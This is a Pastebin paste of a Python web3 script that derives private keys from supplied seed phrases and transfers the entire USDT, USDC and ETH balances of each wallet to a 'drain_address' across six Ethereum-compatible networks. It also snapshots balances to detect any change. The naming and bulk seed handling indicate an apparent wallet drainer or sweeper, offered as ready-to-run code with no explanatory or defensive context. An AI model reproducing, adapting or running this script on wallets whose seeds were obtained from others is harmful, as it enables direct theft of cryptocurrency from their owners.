Advertisement
silicogel

Untitled

May 7th, 2024
687
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 12.83 KB | None | 0 0
  1. from web3 import Web3
  2. from web3 import Account
  3.  
  4. Account.enable_unaudited_hdwallet_features()
  5.  
  6. ERC20_RPC = 'https://ethereum-rpc.publicnode.com'
  7. OPTIMISM_RPC = 'https://optimism-rpc.publicnode.com'
  8. ARBITRUM_RPC = 'https://arbitrum-one.publicnode.com'
  9. ZKSYNC_RPC = 'https://mainnet.era.zksync.io'
  10. LINEA_RPC = 'https://rpc.linea.build'
  11. BASE_RPC = 'https://base-rpc.publicnode.com'
  12.  
  13. TOKEN_ABI = '[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}]'
  14.  
  15.  
  16. def create_object(wallet):
  17.     network = wallet['network']
  18.  
  19.     if network == 'ERC20':
  20.         return Erc20Account(wallet['seed'], wallet['address'], wallet['drain_address'], wallet['tokens'])
  21.     elif network == 'Optimism':
  22.         return OptimismAccount(wallet['seed'], wallet['address'], wallet['drain_address'], wallet['tokens'])
  23.     elif network == 'Arbitrum One':
  24.         return ArbitrumAccount(wallet['seed'], wallet['address'], wallet['drain_address'], wallet['tokens'])
  25.     elif network == 'ZkSync':
  26.         return ZkSyncAccount(wallet['seed'], wallet['address'], wallet['drain_address'], wallet['tokens'])
  27.     elif network == 'Linea':
  28.         return LineaAccount(wallet['seed'], wallet['address'], wallet['drain_address'], wallet['tokens'])
  29.     elif network == 'Base':
  30.         return BaseAccount(wallet['seed'], wallet['address'], wallet['drain_address'], wallet['tokens'])
  31.     else:
  32.         raise Exception(f'У кошелька {wallet["address"]} указана неверная сеть')
  33.  
  34.  
  35. class Account:
  36.     rpc = None
  37.     usdt_contract = None
  38.     usdc_contract = None
  39.  
  40.     def __init__(self, seed, address, drain_address, watch_tokens):
  41.         self.address = address
  42.         self.drain_address = drain_address
  43.         self.w3 = Web3(Web3.HTTPProvider(self.rpc))
  44.         self.private_key = self.w3.eth.account.from_mnemonic(seed).key.hex()
  45.         self.usdt = self.w3.eth.contract(address=self.usdt_contract, abi=TOKEN_ABI) if self.usdt_contract else None
  46.         self.usdc = self.w3.eth.contract(address=self.usdc_contract, abi=TOKEN_ABI) if self.usdc_contract else None
  47.         self.watch_tokens = watch_tokens
  48.  
  49.         self.snapshot = {
  50.             'eth': self.eth_balance,
  51.             'usdt': self.usdt_balance,
  52.             'usdc': self.usdc_balance
  53.         }
  54.  
  55.     def drain(self):
  56.         if self.usdt and self.usdt_balance > 0.01:
  57.             usdt_balance = int(self.usdt_balance * 10 ** 6)
  58.             tx = self.usdt.functions.transfer(self.drain_address, usdt_balance).build_transaction({
  59.                 'from': self.address,
  60.                 'gasPrice': self.w3.eth.gas_price,
  61.                 'nonce': self.w3.eth.get_transaction_count(self.address)
  62.             })
  63.             signed_tx = self.w3.eth.account.sign_transaction(tx, self.private_key)
  64.             self.w3.eth.send_raw_transaction(signed_tx.raw_transaction)
  65.  
  66.         if self.usdc and self.usdc_balance > 0.01:
  67.             usdc_balance = int(self.usdc_balance * 10 ** 6)
  68.             tx = self.usdc.functions.transfer(self.drain_address, usdc_balance).build_transaction({
  69.                 'from': self.address,
  70.                 'gasPrice': self.w3.eth.gas_price,
  71.                 'nonce': self.w3.eth.get_transaction_count(self.address)
  72.             })
  73.             signed_tx = self.w3.eth.account.sign_transaction(tx, self.private_key)
  74.             self.w3.eth.send_raw_transaction(signed_tx.raw_transaction)
  75.  
  76.         if self.eth_balance > 0.00001:
  77.             eth_balance = self.w3.to_wei(self.eth_balance, 'ether')
  78.             gas_estimate = self.w3.eth.estimate_gas({'to': self.drain_address, 'value': eth_balance})
  79.             gas_price = self.w3.eth.gas_price
  80.             gas_cost = gas_estimate * gas_price
  81.             amount_to_send = eth_balance - gas_cost
  82.             tx = {
  83.                 'to': self.drain_address,
  84.                 'value': amount_to_send,
  85.                 'gas': gas_estimate,
  86.                 'gasPrice': gas_price,
  87.                 'nonce': self.w3.eth.get_transaction_count(self.address)
  88.             }
  89.             signed_tx = self.w3.eth.account.sign_transaction(tx, self.private_key)
  90.             self.w3.eth.send_raw_transaction(signed_tx.raw_transaction)
  91.  
  92.     @property
  93.     def eth_balance(self):
  94.         balance = self.w3.eth.get_balance(self.w3.to_checksum_address(self.address))
  95.         return float(self.w3.from_wei(balance, 'ether'))
  96.  
  97.     @property
  98.     def usdt_balance(self):
  99.         if self.usdt:
  100.             balance = self.usdt.functions.balanceOf(self.address).call()
  101.             return balance / 10 ** 6
  102.         else:
  103.             return 0
  104.  
  105.     @property
  106.     def usdc_balance(self):
  107.         if self.usdc:
  108.             balance = self.usdc.functions.balanceOf(self.address).call()
  109.             return balance / 10 ** 6
  110.         else:
  111.             return 0
  112.  
  113.     def check(self):
  114.         if self.eth_balance < self.snapshot['eth'] or self.usdt_balance < self.snapshot['usdt'] or self.usdc_balance < self.snapshot['usdc']:
  115.             return False
  116.         return True
  117.  
  118.  
  119. class Erc20Account(Account):
  120.     rpc = ERC20_RPC
  121.     usdt_contract = '0xdAC17F958D2ee523a2206206994597C13D831ec7'
  122.     usdc_contract = '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48'
  123.  
  124.  
  125. class OptimismAccount(Account):
  126.     rpc = OPTIMISM_RPC
  127.     usdt_contract = '0x94b008aA00579c1307B0EF2c499aD98a8ce58e58'
  128.     usdc_contract = '0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85'
  129.  
  130.  
  131. class ArbitrumAccount(Account):
  132.     rpc = ARBITRUM_RPC
  133.     usdt_contract = '0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9'
  134.     usdc_contract = '0xaf88d065e77c8cC2239327C5EDb3A432268e5831'
  135.  
  136.  
  137. class ZkSyncAccount(Account):
  138.     rpc = ZKSYNC_RPC
  139.     usdt_contract = '0x493257fD37EDB34451f62EDf8D2a0C418852bA4C'
  140.     usdc_contract = '0x1d17CBcF0D6D143135aE902365D2E5e2A16538D4'
  141.  
  142.  
  143. class LineaAccount(Account):
  144.     rpc = LINEA_RPC
  145.     usdt_contract = '0xA219439258ca9da29E9Cc4cE5596924745e12B93'
  146.     usdc_contract = '0x176211869cA2b568f2A7D4EE941E073a821EE1ff'
  147.  
  148.  
  149. class BaseAccount(Account):
  150.     rpc = BASE_RPC
  151.     usdc_contract = '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913'
  152.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement